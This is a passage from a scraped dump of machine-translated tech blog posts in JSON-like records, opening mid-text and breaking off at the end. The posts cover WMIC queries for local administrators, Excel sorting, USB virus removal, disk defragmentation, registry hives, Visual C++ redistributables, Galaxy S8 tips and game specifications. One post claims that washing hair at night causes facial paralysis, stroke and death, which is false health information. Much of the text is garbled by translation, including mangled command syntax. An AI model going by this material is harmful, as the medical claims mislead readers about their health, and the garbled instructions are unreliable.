scenario using runas, then wait and use sendkeys to send the password.\nThis is the same problem that the script is passed to you by another reader. Sent passwords are not encrypted across the network, which is why I write this email. I use the encoder script (basically run the script via encoder and hash tables with multiple encryption algorithms), then end up with a .vbe file instead of .vbs. I guarantee it can still be cracked but still better than not encrypted. Tip 2: Query for local administrators with WMIC This second trick will be based on real life issues. A reader contacted us asking a simple question: how can you list local administrator accounts on remote computers? The scenario is that readers have multiple Windows XP workstations, machines are the start of a group, and users have local administrative rights on those computers (ie their local accounts are members of Local admin group on these computers). The network has finally been migrated to an Active Directory domain and users are given new accounts as members of the Domain Users global group. Then, one day the administrator was told that the user seemed to have more privileges than what he had assigned and that he had discovered that the old local administrator accounts were not detected from His workstation, he has logged in with a local admin account when the domain user account does not allow him to have sufficient control on the workstation. Administrators recognize this can be a serious problem when (a) it interferes with the company's security policy and (b) allows users to log on to their workstations as administrators. Members, which means they can simply handle their workstations when local administrators can do almost anything on their machines, however this can lead to high support costs. than. Now to make it a little more complicated, the attached Administrators local group on the workstation are renamed to something and the attached Administrator local user account is renamed. The second workstation test found that the attached local administrator group and local user account were also renamed on this computer, however, they were renamed differently from the first workstation. ! Really a complex headache! Resolving this is like it requires logging into the workstations and digging for all local users and groups on each computer to determine which local user account is local administrator. on that machine, or look for other to determine this information. Could be a script? You can solve it by script, but instead of doing that, try to do something else and use the Windows Management Instrumentation Command-line (WMIC). WMIC is basically a tool (a command interpreter) that allows querying WMI information directly from the command line instead of having to do it inside a script. WMIC can be used in two ways: interactive (giving a command at a certain time at the command window) or in files. Use interactive WMIC For example, consider that the attached local administrator group and local user account are not renamed on the system. If this is the case, you can use interactive WMIC to display a list of local administrators by opening a command prompt and typing the following command:\nC: Documents and Settingsmyself\u0026gt; wm path win32_groupuser where (groupcomponent = \"win32_group.name =\" administrators \", domain =\"% computername% \"\")\nGroupComponent ??????????????????? ???????? PartComponent win32_group.domain = \"XP191\", name = \"administrators\"? XP191rootcimv2: Win32_UserAccount.Domain = \"XP191\", Name = \"Administrator\" win32_group.domain = \"XP191\", name = \"administrators\"? XP191rootcimv2: Win32_UserAccount.Domain = \"XP191\", Name = \"sjones\" ???? win32_group.domain = \"XP191\", name = \"administrators\"? XP191rootcimv2: Win32_UserAccount.Domain = \"XP191\", Name = \"gsmith\" ??????? win32_group.domain = \"XP191\", name = \"administrators\"?XP191rootcimv2: Win32_Group.Domain = \"TEST\", Domain Admins \"Name =\"\nSee the second column, we can see that the local admin group on this computer has 3 user accounts with it: administrator, sjones and gsmith. In addition, the global domain administrator group is a member of the local administrative group on this system.\nWhat is the local administrative group attached to the system now renamed? Running the above command will result in the following:\nC: Documents and Settingsmyself\u0026gt;wm path win32_groupuser where (groupcomponent = \"win32_group.name =\" administrators \", domain =\"% computername% \"\") \nNo Instance (s) Available.\nWhy is the order broken? Obviously because the name of the group exists has been queried by the hard code in the command. But if the attached local administrator group is renamed, how can you determine its new name? The simple answer is that what this group can be named is still the same as the old one on the outside. Or it is another way, it is the security identifier (SID) that remains unchanged and is still S-1-5-32-544 (you can see more here for a list of SIDs).\nSo what can we define the name of the group if we know its SID? We can reuse WMIC again, like this:\nC: Documents and Settingsmyself\u0026gt;wmic group where (sid = \"S-1-5-32-544\" and localaccount = true) get name \n Name JustAnotherGroup\nSo the administrative group attached to this system is renamed JustAnotherGroup!\nEither way we now know the name of this group, we can use WMIC to query its members:\nC: Documents and Settingsmyself\u0026gt;wmic path win32_groupuser where (groupcomponent = \"win32_group.name =\" justanothergroup \", domain =\"% computername% \"\") \n GroupComponent PartComponent win32_group.domain = \"XP191\", name = \"justanothergroup\" XP191rootcimv2: Win32_UserAccount.Domain = \"XP191\", Name = \"JustAnotherUser\" win32_group.domain = \"XP191\", name = \"justanothergroup\" XP191rootcimv2: Win32_UserAccount.Domain = \"XP191\", Name = \"sjones\" win32_group.domain = \"XP191\", name = \"justanothergroup\" XP191rootcimv2: Win32_UserAccount.Domain = \"XP191\", Name = \"gsmith\" win32_group.domain = \"XP191\", name = \"justanothergroup\" XP191rootcimv2: Win32_Group.Domain = \"TEST\", Domain Adm \"\" Domain Admins \"\nAnd we can see from the command that there are 3 local administrators on this computer: sjones, gsmith and JustAnotherUser. Obviously the global domain admin group is a member of JustAnotherGroup.\nUse WMIC in Batch files \n Conversely, if we don't want to log in to the workstation and run the above WMIC commands, how do we do it? WMIC can be run on remote computers using the / node: ' switch, which is provided so that you can enable Remote Administration on the target computers (you can do this by How to use Group Policy as explained in section 6). So admit that you've done that, open a command prompt on our central server (domain controller) and give two WMIC-like commands, but this time the remote control is called XP191. First, we get the name of the local administrative group attached to the remote computer.\nC: Documents and SettingsAdministrator\u0026gt;wmic / node: \"xp191\" group where (sid = \"S-1-5-32-544\" and localaccount = true) get name \n Name JustAnotherGroup\nNow we use this result to get the list of team members:\nC: Documents and SettingsAdministrator\u0026gt; wmic / node: \"xp191\" path win32_groupuser where (groupcomponent = \"win32_group.name =\" justanothergroup \", domain =\" xp191 \"\") GroupComponent ????????????????????????????? PartComponent win32_group.domain = \"xp191\", name = \"justanothergroup\"? XP191rootcimv2: Win32_UserAccount.Domain = \"XP191\", Name = \"JustAnotherAccount\" win32_group.domain = \"xp191\", name = \"justanothergroup\"? XP191rootcimv2: Win32_UserAccount.Domain = \"XP191\", Name = \"sjones\" win32_group.domain = \"xp191\", name = \"justanothergroup\"? XP191rootcimv2: Win32_UserAccount.Domain = \"XP191\", Name = \"gsmith\" win32_group.domain = \"xp191\", name = \"justanothergroup\"?XP191rootcimv2: Win32_Group.Domain = \"TEST\", Domain Admins \"Name =\"\nThe results are as expected. From this point, you can easily write a simple file to query all workstations on the network and save the results in a text file for later analysis.\nConclude WMIC is indeed interesting, but sometimes it is difficult to understand. We will study its use in the next sections.\n Part 12: Properties of the WMI class  Part 13: The script returns all values\nncG1vNJzZmismaXArq3KnmWcp51kuqK6wKCgp59drLavsM6wqmamlanEsL7KrGSuq5mjtG6%2Fwqugqaxdpa6zwIxqaGanpJ2ys3nSnKmiqKRiwbO1wqSq\n","link":"/post/managing-windows-networks-using-script/","section":"post","tags":null,"title":"Managing Windows networks using Script"},{"body":" Scientifically proven: Bathe for as long and as much as you are feeling lonely Bathe at the best time: Early morning or evening Bathing and shampooing are an essential need for anyone. However, many people are too clean to bathe and wash their hair during the late night. This seriously affects health, it can lead to facial paralysis, mouth distortion and even fatal strokes.\n1. Face and face distortion   The head and face areas are the two most acupoints on our bodies, so when you bathe regularly at night or let your hair go to sleep, it will have a significant impact on the nerves that make the string The posterior nerve of the ear may shrink. Since then, leading to congested blood vessels inadequate blood supply to the facial nerves can lead to facial paralysis, mouth distortion.\nWhen the face is paralyzed, the parts such as the tongue will be numb, difficult to operate the mouth area, the eye area is difficult, one side is numb, the face is distorted. In some cases, the patient cannot close his eyes immediately after washing his hair.\n2. The phenomenon of chronic headache   Usually when you wash your hair late at night, most people feel tired now, so no one is patient enough to wait for their hair to dry before going to sleep. This is the main cause of blood vessels shrinking, making the blood flow to the brain slow, which can lead to chronic headaches. Even after some people wash their hair at night, they get sick immediately.\n3. Colds, flu Late-night bathing increases the body's risk of catching colds and flu. In fact, a lot of people who have just finished bathing are caught immediately, which is because when the hair is wet, the rapid evaporation of water carrying a large amount of body heat causes the head to become cold so it is very susceptible to cold . In addition, those who bathe late at night also cause the body's resistance to decrease significantly, which is a favorable condition for bacteria, viruses to develop and attack the body.\n4. Scalp mushroom   Wet scalp is the main cause of scalp fungal infections caused by harmful bacteria. When the scalp gets fungal, it makes you feel itchy, dandruff, hair loss, severe condition also causes baldness.\n5. Stroke   Bathe at night even though hot water baths cause veins to relax and lead to lowering blood pressure. At the same time, the cold scalp will cause the brain vessels to suddenly shrink, blood circulation decreases from there to appear cerebral anemia. More serious is that can lead to unconsciousness, coma, if not detected in time can lead to death.\nAdvice:\nTo avoid these risks, it is best not to bathe in the evening (after 20:00). If you need to wash your hair in the evening, you must dry or dry your hair before going to bed. In particular, absolutely do not wash your hair after 23pm, even if you wash your hair with hot water, the risk of danger is still very high.\nncG1vNJzZmismaXArq3KnmWcp51kwKa%2ByKisrGWYlr%2Buv4yonWavkai1qrrGZrCoraJitaK10WarqKddoa61sQ%3D%3D\n","link":"/post/serious-harms-of-washing-your-hair-too-late/","section":"post","tags":null,"title":"Serious harms of washing your hair too late"},{"body":"The following article provides detailed instructions for you to organize the database in Excel.\n  Sorting data is indispensable when working in Excel.\n1. Sort data simply. Step 1: Select the data range to sort -\u0026gt; Data -\u0026gt; Sort:\n  Step 2: The Sort dialog box appears, select the data fields to sort in Sort by -\u0026gt; select the sorting type in the Order section , for example, here sort the revenue in order from baby to big:\n  After clicking OK, the result is:\n  2. Sort names alphabetically. Step 1: Insert 3 more columns, middle names and first names as shown:\n  Step 2: Copy the entire NV Name column to the Name column -\u0026gt; press Ctrl + H -\u0026gt; the dialog box appears in the section:\n- Find What: enter a star and the spacebar.\n- Rreplace with section is empty\n-\u0026gt; Finally, click Replace All:\n  Step 3: After clicking Replace All, the result is shown:\n  Step 4: In cell C9 in the column They enter the formula as shown:\n  Step 5: Press Enter and make a copy of the formula for the remaining values ​​in the resulting column:\n  Step 6: Perform copy the entire column They and paste the style Paste Value -\u0026gt; Copy the column They -\u0026gt; paste into the column MI -\u0026gt; press the key combination Ctrl + H -\u0026gt; dialog box that appears in the item:\n- Find what: Enter stars and spaces.\n- Replace with: Leave blank.\n- Finally, click Replace All:\n  Step 7: Copy and Paste the middle name column as Paste Value. In cell C9 of the column They enter the formula as shown:\n  Step 8: After pressing Enter -\u0026gt; copy the formula for the remaining values ​​in the resulting column:\n  Step 9: Make Copy and Paste column They styled Paste Value results:\n  Step 10: Select the entire data table into Data -\u0026gt; Sort -\u0026gt; dialog box appears enter the values ​​as shown (to add a sort field, click Add Level):\n  Step 11: After clicking OK, all the data in the table is sorted:\n  - In case you want to combine 3 columns Last name, Middle name, First name column First and last name perform 3 strings inserting spaces:\n  - Press Enter -\u0026gt; copy for the remaining values ​​in the column -\u0026gt; Copy the First and Last column and Paste as Paste Value -\u0026gt; delete the 3 columns Last name, Middle name, Result name :\n  The above is a detailed guide on how to organize a database in Excel 2013.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLC%2B02aroZ1dma61rcGaqp5lmaN6psTCnqM%3D\n","link":"/post/sort-the-database-in-excel/","section":"post","tags":null,"title":"Sort the database in Excel"},{"body":"The USB shortcut virus is a virus that makes the files on your usb hidden and instead is a shortcut that leads to those files and we have to click on the shortcut to view the files on the USB. This virus does not damage or lose the files on your usb, but it is annoying for us but nonetheless, it is a virus and it may damage the data in the usb in the long term. Therefore, in this article, Thuthuatphanmem.vn will guide you how to remove shortcut virus in usb quickly and effectively, please follow along.\nTo destroy the virus creating the shortcut we will use a software called USBFix, this is a famous antivirus software in USB that is quite famous and very safe so you can safely use it.\n  You can download the application at the following link:\nHomepage link: https://www.usb-antivirus.com/download/usbfix/\nOr the latest FileHippo link: https://filehippo.com/download_usbfix/\nAfter downloading, you can double click the file to run the application without installation.\nNote : Please turn off the network before running to avoid the application to start updating the new version because otherwise the application will not run. And the update is not necessary.\nAfter starting the application, the interface will look like the image below:\nYou connect the USB to the computer and then select RUN AN ANALYSIS\n  Next you select SCAN USB DISKS and the program will begin scanning your USB.\n  Wait a moment for the virus scan to complete:\n  After the scan is completed, a virus scan report will appear, you do not need to care about this report:\n  Now check your USB to see if the shortcut is over. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kw6q%2B1Kxkq52dpMOiuIysn6iqpJjCtXnIp2Suq5I%3D\n","link":"/post/virus-removal-shortcut-in-usb/","section":"post","tags":null,"title":"Virus removal shortcut in USB"},{"body":"Meanwhile, the reader has to move a lot and continuously to reach different locations of the data fragments, making data retrieval slower, possibly even causing computer crashes.\n  Generally, the phenomenon of fragmentation occurs due to the principle of saving and deleting data of the hard drive. Specifically, when you proceed to copy a new data, it will write to the location immediately after the last data of the drive. This will cause if you delete a file, the data at that location will be left blank, but the new file will not be written to that empty location, but jump to the last location of the drive. Everything happens like that until the hard drive is full, the empty areas that are… noticed by the drive.\nAnd when you copy a file that is larger than that free space to the drive, the excess data will jump into the next space, which is the hard drive fragmentation.\nHow can I detect that the hard drive is fragmented? Very simply, when you open a large data file, your computer will experience stuttering, lag or after a period of use you may feel your computer is much slower.\n  To identify more precisely the fragmentation, you use the Disk Defragmenter tool available on Windows. Specifically, right-click on the name of the hard drive partition to check, and select Properties.\n  A Properties window appears, click the Tools tab and click Optimize.\n  Continue to click Analyze to allow the tool to analyze how much fragmented your hard drive is.\nHard drive fragmentation affects the computer? As mentioned above, the defragmentation of the hard drive will make data access slow, sometimes jerky, laggy, or even crashes the computer.\n  In terms of work, hard drive defragmentation will cause delay, as well as more or less affect your performance. In terms of computers, fragmentation of the hard drive will cause the data reader to move a lot and continuously, affecting the life of the components.\nSoftware solution to help fix fragmented hard drive Currently there are a lot of defragmentation support software, the article will introduce you to 2 popular software, relatively effective and easy to use.\nDefraggler   The first is Defraggler. This is also a \"in-house\" product with Ccleaner and Defraggler with the advantage of a simple interface that supports Vietnamese language so it is easy to use. At the same time, the software will allow you to defragment individual files without having to scan the entire drive. This will make the defragmentation process faster and focus more on the files you want.\n  In addition, Defraggler also allows you to schedule defragmentation to take place automatically.\nSmart Defrag   The advantage of the software is that it runs in parallel 2 processes of defragmentation and optimization of the computer. At that time, the files that you often use will be prioritized for defragmentation and arranged effectively, convenient for data retrieval.\n  In addition, the software also supports boot-up defragmentation, which helps to reduce computer boot time.\n  Besides, you can optionally automatically shutdown the computer after defragmentation is complete, allowing you to comfortably go to work without waiting.\nIf you do not want to use third-party software, you can use the Disk Defragmenter tool available on Windows.\n  Note that the SSD drive behaves differently than a traditional mechanical hard drive (HDD). SSDs do not need to be defragmented, and doing so also consumes the drive. However, Windows does defragment the SSD once a month if necessary and if the user sets up System Restore. You don't need to worry about this because automatic defragmentation means prolonging drive life and performance.\nSo with SSD, let Windows do its job and you don't need to worry about defragmentation.\nChoose an SSD hard drive If you have used many solutions but the hard drive fragmentation persists, then maybe it's time you need to replace the hard drive for your computer. And the SSD hard drive is the right choice for you in the present time.\n  SSD stands for the English phrase \"Solid-State Drive\" which is a solid state drive. SSDs perform the same functions as HDDs, but instead of being coated with a magnetic layer on the surface of the hard disk, the data stored on the flash memory chips combine together and retain data immediately. even when the drive is not supplied with power.\nSSD hard drive is suitable for all users, especially those using services that require large read and write (in / out) of hard drives.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRYrOzrcamnKeslZl6qa3RnWSdqpmrsm7Ax55knJmlqLJurc2dZKGnp2LBsHnFoq9moaQ%3D\n","link":"/post/what-is-a-fragmented-hard-drive-the-cause-and-how-to-fix-it/","section":"post","tags":null,"title":"What is a fragmented hard drive? The cause and how to fix it"},{"body":"Registry hive in Windows Registry is the name given to a main part of the registry that contains the registry key, registry subkey (registry subkey) and registry value (registry value).\nAll keys are considered hive starting with \"HKEY\" and located in the root directory or at the top of the hierarchy in the registry, which is why they are sometimes called root keys or system hives. Core system.\nWhere is the hive registry located? In Registry Editor, hive is a collection of registry keys that appear as folders on the left side of the screen, when all other keys have been minimized.\nBelow is a list of common registry hives in Windows:\nHKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_CURRENT_CONFIG   \nHKEY_DYN_DATA is a registry hive used in Windows ME, 98 and 95. Most of the information stored in that hive is stored in HKEY_LOCAL_MACHINEHARDWARE in later versions of Windows.\nWhy can't I see any registry hive? Sometimes, when you open the Registry Editor, you will see a lot of folders on the left and may even have registry values ​​on the right, but without any registry hive. This means that the registry hive is not in the normal viewing area.\nTo view all registry hives at once, scroll to the top left of Registry Editor and collapse all hives, by clicking or clicking the down arrow or selecting Collapse from the right-click menu.\nEither way, this will collapse all the keys and subkeys (keys and subkeys) so you only need to see some hive registry listed above.\nTip : Another reason some hive registry entries are not displayed is when you are viewing the registry remotely on another computer. Refer to the article: How to connect to the remote registry for more information on why the Windows Registry is not the same as usual in that situation.\nHow is the registry hive and registry key different? The Registry hive is a folder in the Windows Registry, and so does the registry key. So what exactly is the difference between the registry hive and the registry key?\nThe only difference between these two concepts is: Registry hive is the first directory in the registry and it contains the registry keys, and the registry keys are folders inside the hive, containing registry values ​​and other registry keys. .\nNaming a folder in the registry is a \"registry hive\" that is only done to categorize what we are talking about. Instead of calling every folder in the registry as a registry hive or registry key, we call the main directory, first hive, but use the key as the name for every other folder inside the hive and use the registry subkey to do the wizard. language to indicate the key exists in other keys.\n  Registry hive in context Here is an easy way to understand where the registry hive belongs in the Windows Registry:\nHIVEKEYSUBKEYSUBKEY.VALUE  As you can see in the example below, while it is possible to have multiple registry subkeys in a hive, there is always only one registry hive in each location.\nHKEY_CURRENT_USERControl PanelDesktopColorsMenu  HIVE: HKEY_CURRENT_USER KEY: Control Panel SUBKEY: Desktop SUBKEY: Colors VALUE: Menu Edit and delete registry hive Registry hive, unlike registry keys and registry value, cannot be created, deleted or renamed. Registry Editor will not allow you to do that (ie you cannot even accidentally edit the registry).\nNot being able to delete the registry hive is not because Microsoft wants to prevent you from doing something great with your computer, but simply there is no reason for you to do it. Key and value, including all hive registry, is the place to set the real value of the Windows Registry.\nBack up registry hive However, you can back up the registry hive, just like you do with the registry key. Backing up all hive saves all keys and values ​​in that hive as a REG file, which can then be imported back into the Windows Registry.\nRefer to the article: Backup and restore Windows Registry is simple for more details.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWimrSqv9OrsGagmauy\n","link":"/post/what-is-registry-hive/","section":"post","tags":null,"title":"What is Registry Hive?"},{"body":" Windows 10 KB4056892 emergency update (build 16299.192) How to reopen Word, Excel or PowerPoint files when closed but not saved yet? Free Microsoft Labs repositories include: Windows Server, SQL Server and many other services If you find that your computer contains a long list of installed programs in Windows, you will probably wonder why there are so many versions of Microsoft Visual C ++ Redistributable there, not alone you encounter this case.Join us to find out what this means and why there are so many Microsoft Visual C ++ Redistributable versions installed on your computer.\nWhat is Visual C ++ Redistributable?   Microsoft Visual C ++ is an integrated development environment (IDE - Integrated Development Environment) used to create Windows applications in C, C ++ and C ++ / CLI programming languages. Initially it was a standalone product, but is now part of Microsoft Visual Studio. Microsoft Visual C ++ provides developers with a single application in which they can write, edit, test and debug. Programming environments include access to shared code libraries, allowing developers to use code that has been developed for specific actions rather than having to write separately. from the beginning. Shared code (shared code) takes the form of DLL - dynamic link libraries, a term most Windows users have encountered in some cases.\nWhen it comes time to deploy software for users, developers will have 2 choices. They can package the DLLs into installing applications or relying on a standard package of shared code. Most of them choose the second type and the package is called Visual C ++ Redistributable . There are several advantages to using redistributable. Packages are provided by Microsoft, who check and update bug fixes and security fixes. The redistributable also provides a single installation on a user's computer that many programs can use at the same time.\nWhy are there many Microsoft Visual C ++ Redistributables settings in my computer?   I have just installed Windows 10 on my computer for less than two months. As you can see, I have had four versions of Visual C ++ Redistributable on the system. In other systems, I see up to 20 versions of Visual C ++ Redistributable. So why is that?\nSome are installed by Windows. The specific versions are installed depending on the version of Windows you are using. I am using Windows 10, there is Visual C ++ Redistributables 2012 and 2013. Also, you can see that both 32 bit versions (x86) and 64 bit (x64) are installed (this is not the user installs themselves but Windows installed, I can't interfere, unless later I don't like you can uninstall). If you have 32-bit Windows, you won't see 64-bit versions of redistributable. But if you install 64-bit Windows (almost all computers today), you'll see both versions, because 64-bit Windows can run both 64-bit and 32-bit applications .\nIf there is another version of Visual C ++ Redistributable on the machine, they are added with the additional software you install. When developers code in a specific Visual C ++ version, the code libraries for that version must also be present on the user system running the application. That means that if the developer uses Visual C ++ 2005 (or Visual Studio 2005) to create a program you are installing, you can see Visual C ++ 2005 Redistributable installed on your system with program.\nSometimes, you will receive an unexpected message the first time you run a program that says the redistributable package is installed. You'll see this many times if you're a PC gamer, especially if you download the game via Steam.\nTypically, this means that the developer has selected the latest software package downloaded from Microsoft at the time of installation. Package packages sometimes come with the application. Below is a picture of installing an existing AMD graphics driver, you may need to install Visual C ++ Redistributable 2012 and 2013 .\n  Besides, you can also see multiple versions of the same redistributable installed, or at least many versions of the same year. For example, you can see many redistributable versions in 2008. A redistributable may indicate that it is a service pack, while other redistributable have a slightly different version number. So sometimes it's like many versions of the same package have been installed but they have specific differences. And unfortunately, unlike the .NET Framework , Microsoft never adds all older versions into one unified package.\nSo you will see some packages that come with Windows and some that come with installed applications. And if you're running 64-bit Windows, you'll see both 64-bit and 32-bit versions of each package.\nCan uninstall or not?   The short answer is: YES but DO NOT.\nYou never really know which application uses redistributable. If you uninstall a program, that program will not automatically remove redistributable, because there are no other applications that are using it. There will certainly be some redistributable packages that are not needed - but if you manually remove a redistributable package that some programs are still using, you can make them inactive and even cause problems. in Windows installation.\nYou may find it annoying to see multiple versions appear in the list of installed programs, but if everything is running fine on your computer, redistributable will not cause any damage. Moreover, they also do not take up much storage space. All four versions I have installed on the current system account for less than 100 MB of storage .\nWe see some advice on the Internet that you can delete older versions of redistributable, leaving only the latest version from each major release (note by year). In other words, they recommend that you leave the latest redistributable 2012 and uninstall the older version of 2012. We tested this and found it unreliable. It seems that sometimes it works but does not guarantee it will work well for you. In limited testing on three systems, I found it caused problems on the system that some programs no longer work .\nSo what to do when having problems?   It is difficult to determine an application's problem from installing redistributable mismatch. You rarely receive an error message during the installation process or the operation of a program that points you directly to the redistributable packages. However, it is a capability and is sometimes worth testing, especially if a program you just installed breaks another installed program and you know that both rely on a redistributable.\nFirst, you can take a few basic steps. Make sure the Windows update has all the latest updates. If an update for the package is available, it can help you solve the problem. Besides, you can also try scanning for corrupted system files in Windows. This does not take much time and can restore system files that are corrupted or missing. You should take the time to do this.\nIf the steps above do not resolve the problem, you can try uninstalling and then reinstalling the version mentioned. If you do not know any specific version, you can risk and try to uninstall all redistributable packages from your computer and then install all the latest additional installs of each version. No matter what route you take, make sure you have backed up your computer before!\nYou can uninstall redistributables according to how to uninstall any programs in the Control panel Programs and Features . After that, you can download and install the latest versions from Microsoft Download Center . Here are some direct links to each version:\nMicrosoft Visual C ++ 2005 SP1 Redistributable (x86) Microsoft Visual C ++ 2005 SP1 Redistributable (x64) Microsoft Visual C ++ 2008 SP1 Redistributable (x86) Microsoft Visual C ++ 2008 SP1 Redistributable (x64) Microsoft Visual C ++ 2010 SP1 Redistributable (x86) Microsoft Visual C ++ 2010 SP1 Redistributable (x64) Microsoft Visual C ++ 2012 Update 4 Redistributable (x86 and x64) Microsoft Visual C ++ 2013 Redistributable (x86 and x64) Just remember that if you're running a 64-bit version of Windows, you'll need to download and install both 32-bit (x86) and 64-bit (x64) versions.\nHopefully this article can explain to you what are Visual C ++ Redistributable packages and why are they installed on your computer!\nRefer to some more articles:\nMicrosoft explains why folding phones will be the next big innovation of technology Microsoft sues an IP address for activating piracy over 1,000 versions of Windows and Office Error on CPU seriously affects cloud storage services Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJqpnmWknbKzsYymmKexXaK2pL7OrKafrF2rtrTBwKVknGWimrGqv9OroJutpJavrbGMr5yrq5mku7R5yKeqrZmcobKlec6nZK2glWKwsLnPrqueqg%3D%3D\n","link":"/post/why-are-there-many-microsoft-visual-c-redistributable-versions-installed-on-the-computer/","section":"post","tags":null,"title":"Why are there many Microsoft Visual C ++ Redistributable versions installed on the computer?"},{"body":"Galaxy S8 is Samsung's most ambitious phone. S8 boasts the world's first infinity screen. So users can miss out on many unique features on Samsung Galaxy S8. Using these tips and tricks, you can easily grasp to use the S8 to achieve the desired features and performance.\n1. Change the size of the application icon and the main screen You can adjust the size of the main screen icon on the S8 in three steps:\nPress the phone's main screen control panel. Select 'Home screen settings.' Customize the main grid (grid) screen.   You can adjust the main screen grid to any size: 4 × 5, 4 × 6 or 5 × 5. You can change the application screen grid to 4 × 6 or 5 × 6.\n2. Change the screen mask of the iris scanner   The default setting of Galaxy S8 to unlock iris scanner is through biometric features and Samsung has some funny cartoon character mask for you to use. To set up iris scanner for your phone:\nGo to Settings on your phone, then go to 'Lock screen and Security -\u0026gt; Iris scanner.' Preview the screen mask and then select 'Choose the mask.' Guide to scanning iris effectively on Galaxy S8 3. Create animated GIF images   You can easily create animated GIF images with S8 using 'Smart Select Edge'. Refer to the article The interesting hidden GIF creation feature in Galaxy S8 to know how to do it.\n4. Customize the screen \"Always On\"   The Galaxy S8 \"Always on\" screen keeps the phone in Low Power mode. In this mode, the S8 screen displays the date, application notification, time and media control.\nGo to Settings, then go to 'Lock screen and security -\u0026gt; Always on display.' In the menu, you can change the clock layout, photo background and colors. In addition, you can also control the display time there. 5. Control the Edge Panel   You can customize S8's Edge Panel to enable or disable Edge Panel:\nGo to Settings . Then go to Edge screen. Select On or Off . You can turn on and set the Edge Panel on the left or right of the phone. To configure Edge Panel:\nOpen the Edge screen. Click the gear icon (Edge Panel Settings). Touch the three dots icon to open 'More Options.' Select 'Handle settings.' Change position to left or right by preference. You can also adjust the vibration, size and transparency on the 'Handle settings' menu . 6. Change application screen settings and home screen   You can delete the App drawer and display all applications on the phone's home screen. Follow these steps:\nPress and hold on the home screen. Touch the home screen settings. Go to the main screen layout. Select the following options: Home and Apps screen and Home screen only . If you select Home screen only , all your apps will be displayed on the home screen, App drawer will be deleted. 7. Remove the black bars on the side of the screen   The screen rate of Samsung S8 is 18.5: 9, but most applications and videos are 16: 9. Use the phone's full screen mode to remove the black bars on the side, the colored bars This black is the result of the difference in screen ratio.\nThe infinite screen of the S8 provides a rich and rich image experience. Leave the phone in full screen mode:\nGo to Settings . Click Display and access 'Full-screen'. From here you can turn on or off the entire screen mode. 8. Arrange the main screen   Applications you download from Play Store automatically add a new icon to the main screen. This feature can make your main screen cluttered. You can turn off adding icons automatically to the home screen by:\nGo to the Google Play Store app. Click on the three parallel horizontal icons (at the top of the screen). Go to Settings . Uncheck 'Add to Home screen.' Easily find your apps by sorting them in alphabetical order instead of leaving them in the order they were downloaded. To do this:\nOpen the App Drawer . Touch the three dots at the top right of the screen. Click ' Sort .' Select 'Alphabetical order.' 9. Activate the phone in one-handed mode   Samsung Galaxy S8 is easy to use, especially when you use one-handed mode. Features reduce the size of the screen. Read the article How to activate one-handed mode on Samsung Galaxy S8 to know how to use this feature.\n10. Enable Bluetooth dual audio and touch gestures by fingerprint   Samsung Galaxy S8 is the first smartphone to incorporate Bluetooth 5.0 technology. This allows you to transmit audio to two different headsets at the same time. To establish:\nOpen 'Settings app -\u0026gt; Connections.' Turn on Bluetooth. Touch the three dots at the top right of the screen and select \"'Dual audio.\" Pair two speakers or headphones.   Finger touch gestures allow you to swipe the fingerprint scanner to drag the notification bar. You can launch Samsung Pay by swiping the fingerprint scanner, setting it up by going to 'Settings app -\u0026gt; Advanced features -\u0026gt; Finger sensor gestures.'\nncG1vNJzZmismaXArq3KnmWcp51kfnF5yKernqqVqMGqusZmq6Koo2K8r3nSmqSsrZ6ceqity5qvsmWjbXqvu9NmnK%2Bdoq68r7GMpKWor6M%3D\n","link":"/post/10-interesting-tips-on-samsung-galaxy-s8-not-everyone-knows/","section":"post","tags":null,"title":"10 interesting tips on Samsung Galaxy S8 not everyone knows"},{"body":"Currently, Back 4 Blood is available for pre-order on some platforms such as Steam or Epic Games Store. This is considered a replacement game for the sequel to the two previous popular Left 4 Dead games.\nFans of the zombie genre in general and the Left 4 Dead game in particular must have been waiting for a long time for the next part of the series. Since its launch in 2009 and until now, L4D has retained a large community of players.\nAnd Back 4 Blood will be considered as a sequel to Left 4 Dead. The reason it is considered a sequel to this series is because the gameplay of Back 4 Blood is similar to Left 4 Dead but the configuration is much more upgraded. Below is the Back 4 Blood configuration on PC.\nMinimum configuration Back 4 Blood on PC   Operating system: Windows 7 64bit or higher CPU : Intel Core i5-2500K 3.3GHz or AMD FX-8320 RAM : 8 GB Graphics Card : NVIDIA GeForce GTX 960 2GB or AMD Radeon R9 380 Hard disk space : 50 GB DirectX 11 Recommended configuration Back 4 Blood on PC   Operating system: Windows 10 64bit or higher CPU : Intel Core i7-6700K 4-Core 4.0GHz or AMD Ryzen R5 1600 RAM : 16 GB Graphics Card : NVIDIA GeForce GTX 1070 or AMD Radeon RX Vega 56 8GB Hard disk space : 50 GB DirectX 11 On game distribution platforms like Steam and Epic Games Store, the Back 4 Blood configuration has not been officially announced yet. But with gameplay graphics posted on Youtube by many gamers, the game configuration is rated at an average level.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqRqbawuoytpmaonJbGbq7AnKJmbF2XubC7w2amp2WgmA%3D%3D\n","link":"/post/configuration-to-play-back-4-blood-on-pc/","section":"post","tags":null,"title":"Configuration to play Back 4 Blood on PC"},{"body":"The image of the sea always gives people a great feeling of relaxation and relaxation, thus creating a good spirit to concentrate on the work. Therefore, whether it is the image or the actual feeling, the beaches with blue water rush into the white sand beaches are always loved by many people. Understanding that psychology of many people, the network administrator has collected some beautiful wallpapers for computers with the sea theme so that you can enjoy it. Set of computer backgrounds with extremely high 1920 × 1080 HD resolution. So there is no reason that you do not quickly own these wallpapers for your computer settings to welcome a very approaching summer.\n[Download] Collection of full HD wallpapers for laptops, natural landscape theme Funny, cute, lovely wallpapers for computer screens Download now a simple but charming Vintage photo wallpaper theme for your computer Here are some photos we took from the collection, to download a full set of unique, high quality images, you can go here.\n                                          See more:\nSet of beautiful 4k quality nature wallpapers for computers Computer wallpaper set for Valentine's Day 14-2 Download now a set of Windows-based wallpapers ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdlnq0sdNmpp9lnZa%2FqrrEZquhnZ2aerity6WnmqiVp8Buss6rZJ2do6DBsLw%3D\n","link":"/post/download-a-set-of-marine-theme-wallpapers-for-desktop/","section":"post","tags":null,"title":"Download a set of marine theme wallpapers for Desktop"},{"body":" Free software 